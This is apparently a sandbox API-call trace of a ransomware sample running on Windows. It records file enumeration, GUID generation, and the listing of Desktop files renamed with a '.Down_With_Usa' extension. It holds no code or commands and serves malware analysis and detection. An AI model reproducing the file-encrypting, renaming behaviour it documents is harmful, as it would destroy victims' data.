[0270.352] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29641080, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29641080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x296671e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo.dll", cAlternateFileName="")) returned 1
[0270.352] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29830260, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29830260, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29830260, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tucl-1.dll", cAlternateFileName="")) returned 1
[0270.352] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297bde40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x297bde40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x297e3fa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tucl.dll", cAlternateFileName="")) returned 1
[0270.352] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298a2680, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x298a2680, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x298a2680, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucl.dll", cAlternateFileName="")) returned 1
[0270.352] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d1f10, ftCreationTime.dwHighDateTime=0x1d5d7c4, ftLastAccessTime.dwLowDateTime=0x2cb950e0, ftLastAccessTime.dwHighDateTime=0x1d5da32, ftLastWriteTime.dwLowDateTime=0x1fc20000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNNnOAAde-h4.jpg.Down_With_Usa", cAlternateFileName="UNNNOA~1.DOW")) returned 1
[0270.353] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798ab570, ftCreationTime.dwHighDateTime=0x1d5e375, ftLastAccessTime.dwLowDateTime=0xc8194570, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0x1fd04840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xba90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vzk1n.bmp.Down_With_Usa", cAlternateFileName="VZK1NB~1.DOW")) returned 1
[0270.353] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29960d60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29960d60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29960d60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64.dll", cAlternateFileName="")) returned 1
[0270.353] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29914aa0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29914aa0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29914aa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="x86.dll", cAlternateFileName="")) returned 1
[0270.353] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8cf10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xf225bed0, ftLastAccessTime.dwHighDateTime=0x1d5db0f, ftLastWriteTime.dwLowDateTime=0x1fd9cdc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x87b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLuz.flv.Down_With_Usa", cAlternateFileName="XLUZFL~1.DOW")) returned 1
[0270.353] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec4d6480, ftCreationTime.dwHighDateTime=0x1d6a96e, ftLastAccessTime.dwLowDateTime=0xece5fb00, ftLastAccessTime.dwHighDateTime=0x1d6a96e, ftLastWriteTime.dwLowDateTime=0x118da300, ftLastWriteTime.dwHighDateTime=0x1d6a96e, nFileSizeHigh=0x0, nFileSizeLow=0x38b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="yatron.exe", cAlternateFileName="")) returned 1
[0270.354] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69eb4cb0, ftCreationTime.dwHighDateTime=0x1d5d871, ftLastAccessTime.dwLowDateTime=0xb263bf50, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0x20cc9a00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe070, dwReserved0=0x0, dwReserved1=0x0, cFileName="zb9dFe.avi.Down_With_Usa", cAlternateFileName="ZB9DFE~1.DOW")) returned 1
[0270.354] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", cAlternateFileName="ZFO2RX~1.DOW")) returned 1
[0270.354] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2816d000, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2816d000, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28205580, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="zibe.dll", cAlternateFileName="")) returned 1
[0270.354] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298c87e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x298c87e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x298ee940, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="zlib1.dll", cAlternateFileName="")) returned 1
[0270.354] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298c87e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x298c87e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x298ee940, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="zlib1.dll", cAlternateFileName="")) returned 0
[0270.354] FindClose (in: hFindFile=0x27f05cd0 | out: hFindFile=0x27f05cd0) returned 1
[0270.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0270.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0270.358] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr="Contains", cchSrc=8, lpDestStr=0x270401c, cchDest=8, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x1abf1f60 | out: lpDestStr="contains") returned 8
[0270.371] qsort (in: _Base=0x1b39f8, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fef42a06e0 | out: _Base=0x1b39f8)
[0270.374] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0x1ddd2c40 | out: hHeap=0xd0000) returned 1
[0272.223] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0x3eb47bb8, Data2=0xbd58, Data3=0x4f86, Data4=([0]=0xb9, [1]=0x93, [2]=0x9c, [3]=0x4a, [4]=0x87, [5]=0x6f, [6]=0x36, [7]=0x4c))) returned 0x0
[0272.224] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0xcd3d11e6, Data2=0x5130, Data3=0x4c08, Data4=([0]=0x9e, [1]=0x37, [2]=0x3d, [3]=0x32, [4]=0x47, [5]=0xfe, [6]=0xf1, [7]=0x48))) returned 0x0
[0272.224] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0x9fe726e7, Data2=0x7fb8, Data3=0x4205, Data4=([0]=0x96, [1]=0x2f, [2]=0x94, [3]=0xf7, [4]=0x84, [5]=0x2d, [6]=0xf2, [7]=0xe0))) returned 0x0
[0272.224] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0xcedddedd, Data2=0x487f, Data3=0x4aac, Data4=([0]=0xbe, [1]=0x2e, [2]=0xfa, [3]=0x9a, [4]=0xd6, [5]=0x89, [6]=0x4b, [7]=0xe7))) returned 0x0
[0272.224] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0xccaa729, Data2=0xb2ce, Data3=0x4abf, Data4=([0]=0xbd, [1]=0xd0, [2]=0xd9, [3]=0x50, [4]=0x23, [5]=0xc8, [6]=0x5c, [7]=0x20))) returned 0x0
[0272.224] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0x29ced51c, Data2=0x67ce, Data3=0x4602, Data4=([0]=0xb4, [1]=0x2e, [2]=0xca, [3]=0x1a, [4]=0xfa, [5]=0xd4, [6]=0xde, [7]=0x12))) returned 0x0
[0272.224] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0x6008a048, Data2=0x63f2, Data3=0x4141, Data4=([0]=0x96, [1]=0x13, [2]=0xe0, [3]=0x84, [4]=0xa9, [5]=0x9b, [6]=0x51, [7]=0x25))) returned 0x0
[0272.224] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0x59f71f13, Data2=0x4ae0, Data3=0x4c7c, Data4=([0]=0xae, [1]=0xa2, [2]=0x5f, [3]=0x4d, [4]=0xf0, [5]=0x43, [6]=0xb4, [7]=0x49))) returned 0x0
[0272.224] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0x1292a60b, Data2=0x7025, Data3=0x4c2f, Data4=([0]=0x8b, [1]=0x49, [2]=0x38, [3]=0xd9, [4]=0xcb, [5]=0x3c, [6]=0xca, [7]=0xc6))) returned 0x0
[0272.225] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0x212bee95, Data2=0x8ea4, Data3=0x4d28, Data4=([0]=0xb6, [1]=0xcf, [2]=0x99, [3]=0xac, [4]=0xba, [5]=0xf1, [6]=0xc1, [7]=0x17))) returned 0x0
[0272.225] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0xc413de73, Data2=0x49ac, Data3=0x439d, Data4=([0]=0x9d, [1]=0xc8, [2]=0x85, [3]=0xe8, [4]=0x25, [5]=0xb5, [6]=0x19, [7]=0xe5))) returned 0x0
[0272.225] CoCreateGuid (in: pguid=0x2ebd98 | out: pguid=0x2ebd98*(Data1=0x65b1e495, Data2=0xcd35, Data3=0x4bd9, Data4=([0]=0x9b, [1]=0xf3, [2]=0x6, [3]=0x61, [4]=0x68, [5]=0x40, [6]=0x96, [7]=0x31))) returned 0x0
[0273.108] CoCreateGuid (in: pguid=0x2ebf08 | out: pguid=0x2ebf08*(Data1=0xe3166d4, Data2=0x3997, Data3=0x4815, Data4=([0]=0xaa, [1]=0x76, [2]=0xfc, [3]=0x78, [4]=0xa9, [5]=0x5e, [6]=0xcc, [7]=0xed))) returned 0x0
[0273.109] CoCreateGuid (in: pguid=0x2ebf08 | out: pguid=0x2ebf08*(Data1=0x2cdad0ac, Data2=0xa668, Data3=0x47bb, Data4=([0]=0x97, [1]=0x29, [2]=0x9a, [3]=0xd7, [4]=0xce, [5]=0x0, [6]=0xc8, [7]=0xc))) returned 0x0
[0273.109] CoCreateGuid (in: pguid=0x2ebf08 | out: pguid=0x2ebf08*(Data1=0x8ca2208e, Data2=0xa4c1, Data3=0x4be7, Data4=([0]=0x83, [1]=0x18, [2]=0x2, [3]=0xfb, [4]=0xee, [5]=0x44, [6]=0x3e, [7]=0xb5))) returned 0x0
[0273.373] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f1994) returned 0x0
[0273.375] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f1994) returned 0x0
[0273.380] VirtualQuery (in: lpAddress=0x7fe9401a1e0, lpBuffer=0x2ec840, dwLength=0x30 | out: lpBuffer=0x2ec840*(BaseAddress=0x7fe9401a000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0273.446] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0273.454] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf.Down_With_Usa", length=75, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0273.457] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0273.459] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1dd, lParam=0x0) returned 0x0
[0273.459] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1dd, lParam=0x0) returned 0x0
[0273.465] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr="Contains", cchSrc=8, lpDestStr=0x27a05ac, cchDest=8, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x1abf1f60 | out: lpDestStr="contains") returned 8
[0273.472] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f1c04) returned 0x1
[0273.472] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f1c04) returned 0x1
[0273.473] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0273.473] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", length=72, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0273.473] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0273.473] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1dd, lParam=0x0) returned 0x0
[0273.473] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1dd, lParam=0x0) returned 0x0
[0273.475] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f1e7c) returned 0x2
[0273.475] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f1e7c) returned 0x2
[0273.475] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0273.476] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", length=76, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0273.476] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0273.476] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0273.476] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.596] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f2154) returned 0x3
[0275.596] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f2154) returned 0x3
[0275.597] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.598] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi.Down_With_Usa", length=70, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.598] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.598] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.598] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.601] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f283c) returned 0x4
[0275.601] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f283c) returned 0x4
[0275.601] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.602] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", length=75, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.602] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.602] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.602] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.603] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f2b34) returned 0x5
[0275.603] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f2b34) returned 0x5
[0275.604] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.604] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3.Down_With_Usa", length=63, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.604] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.604] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.604] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.609] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f35ac) returned 0x6
[0275.609] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f35ac) returned 0x6
[0275.610] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.610] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi.Down_With_Usa", length=65, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.610] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.610] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.610] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.614] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f42d4) returned 0x7
[0275.615] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f42d4) returned 0x7
[0275.616] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.616] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf.Down_With_Usa", length=65, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.616] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.616] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.616] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.617] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f451c) returned 0x8
[0275.617] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f451c) returned 0x8
[0275.618] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.618] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf.Down_With_Usa", length=69, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.618] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.618] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.618] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.623] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f5294) returned 0x9
[0275.623] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f5294) returned 0x9
[0275.624] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.624] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt.Down_With_Usa", length=60, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.625] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.625] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.625] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.725] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f62a4) returned 0xa
[0275.725] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f62a4) returned 0xa
[0275.726] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.727] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4.Down_With_Usa", length=69, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.727] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.727] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.727] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.728] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f650c) returned 0xb
[0275.728] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f650c) returned 0xb
[0275.729] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.729] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", length=74, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.729] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.729] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.729] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.730] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f6774) returned 0xc
[0275.730] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f6774) returned 0xc
[0275.731] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.731] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg.Down_With_Usa", length=67, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.732] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
